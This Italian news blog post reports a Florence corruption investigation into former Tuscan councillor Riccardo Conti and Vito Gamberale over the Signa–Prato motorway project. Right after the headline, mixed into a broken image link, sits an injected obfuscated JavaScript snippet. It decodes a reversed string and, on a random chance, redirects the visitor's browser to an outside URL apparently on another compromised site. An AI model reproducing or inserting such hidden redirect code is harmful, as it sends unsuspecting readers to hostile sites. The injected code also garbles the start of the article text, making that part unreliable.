"Corrotto": è l'accusa per l'ex assessore Conti (PD). La storia del suo conflitto di interesse

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2012/03/conti.jpg”>Sui conflitti di interesse di Riccardo Conti (PD) e sulle sue tante casacche (coordinatore trasporti e infrastrutture del partito, Fondo F2i) vi consigliamo la lettura del nostro articolo Il Pd tra politica, infrastrutture e affari: in Toscana esplode un nuovo conflitto d’interessi al termine del quale ci appellavamo a Bersani, Rossi, Ceccobao, Manciulli per fare qualcosa di utile per ripristinare un minimo di etica nel Partito Democratico. Appello a cui nessuno di loro ha mai risposto. Ecco la cronaca di oggi nell’articolo di Franca Selvatici e Simona Poli per Repubblica.

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L’amministratore delegato di Società Autostrade Vito Gamberale, oggi ad del Fondo di investimenti F2i, è indagato per corruzione dalla procura della Repubblica di Firenze nell’ambito dell’inchiesta sul project financing della bretella autostradale Signa – Prato, mai realizzata. La guardia di finanza ha perquisito a Roma la sua abitazione. Con Gamberale è indagato per lo stesso reato l’ex assessore regionale della Toscana all’Urbanistica del Pd Riccardo Conti, oggi responsabile nazionale per il partito dei Trasporti e componente del consiglio di amministrazione del fondo F2I su designazione della Fondazione Monte de’ paschi di Siena. Incarico ricevuto nel 2010, dopo che si era concluso quello, decennale, di assessore regionale alle infrastrutture.

La Finanza ha perquisito la sua abitazione e il suo ufficio nella sede dell’associazione Romano Viviani. Secondo lo stringatissimo decreto di perquisizione firmato dai pm Giuseppina Mione e Luca Turco, Gamberale risulterebbe il presunto corruttore e Conti il corrotto. La convenzione fra la Regione Toscana e la società del Project, nella quale Autostrade detiene la quota di maggioranza, risale al 2006. La Regione versò immediatamente 28,9 milioni di euro, dei quali si sono perdute le tracce.

Gamberale e Conti sono stati intercettati alcuni mesi fa mentre discutevano della partecipazione del Fondo F2I alla gara per la cessione di una quota della Sea, la società aeroportuale che gestisce gli aeroporti milanesi di Linate e Malpensa. Intercettazione inviata in ottobre dalla procura di Firenze a quella di Milano, dove il fascicolo sembra essersi perduto. Sono state le rivelazioni del settimanale L’Espresso a costringere la procura di Firenze a stringere i tempi e a disporre le perquisizioni.

All’ex assessore regionale ai trasporti sono stati sequestrati computer, agende e vari documenti. “L’ipotesi di reato è corruzione” conferma l’avvocato di Conti Massimiliano Annetta, responsabile giustizia del Pd metropolitano. “Ma il mio cliente è tranquillo e riafferma la correttezza del suo operato di assessore regionale. E noi abbiamo piena fiducia nell’operato dei magistrati e non gridiamo al complotto”.

Lo stesso Conti assicura di aspettare con fiducia gli esiti delle indagini. “Sono sereno” è il suo unico commento alla vicenda.

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